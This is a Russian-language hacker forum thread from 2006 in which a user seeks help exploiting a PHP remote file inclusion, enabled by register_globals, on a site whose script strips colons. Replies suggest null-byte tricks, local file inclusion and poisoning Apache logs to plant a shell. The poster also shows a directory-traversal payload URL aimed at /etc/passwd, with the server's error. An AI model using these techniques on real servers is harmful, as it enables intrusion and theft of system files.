register_globals

Discussion in 'Уязвимости' started by Dmitro, 12 Dec 2006.

  1. Dmitro

    Dmitro Elder - Старейшина

    Joined:
    11 Dec 2004
    Messages:
    105
    Likes Received:
    10
    Reputations:
    13
    Вопросик,
    Сразу извиняюсь за тупось, но уже позабыл всё, давно ни чем не занимался..

    register_globals на сервере позволяет передать переменную скрипту (ПХП)
    Скрипт инклудит $userdir/index.html
    я передаю скрипту userdir=http://site.com/
    а скрипт чистит гдето так:
    if (!isset ($userdir)) {............}
    else $userdir=str_replace (":","", $userdir);

    т.е. вместо http://site.com/ инклудит http//site.com/
    (без ":")
    как обойти?

    П.С. переводить в урл двоеточие пробовал, естесссно не получилось..

    П.С.[2] = Вторую ошибку нашел, что можно передать скрипту массив $error или элементы массива, но выводятся походу с помощью echo , Здесь только xss ?? или есть варианты?
     
    #1 Dmitro, 12 Dec 2006
    Last edited: 12 Dec 2006
  2. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Первое моно обойти просто подставя '%00'.
     
  3. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    причем тут ядовый нуль?
     
    _________________________
  4. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Это бесполезно, все равно апач раскодирует его перед передачей в пхп.
    Хм, что тут можно сделать... а локальный инклуд не катит?
    Инклудь логи апача, заюзай ядовитый ноль и запиши в логи апачу шелл
     
  5. Dmitro

    Dmitro Elder - Старейшина

    Joined:
    11 Dec 2004
    Messages:
    105
    Likes Received:
    10
    Reputations:
    13
    Пробовал локальный инклуд... и %00 не помогает
    http://........./page.php?userdir=../../../../../../../../../../etc/passwd%00 - никак
    даже там есть в папке скрипта файл, я его пытался заинклудить - никак...
    page.php?userdir=log.dat%00
    на что апач ответил:
    Warning: main(log.dat index.html) [function.main]: failed to open stream: No such file or directory in /home/site.com/www/script/page.php on line 57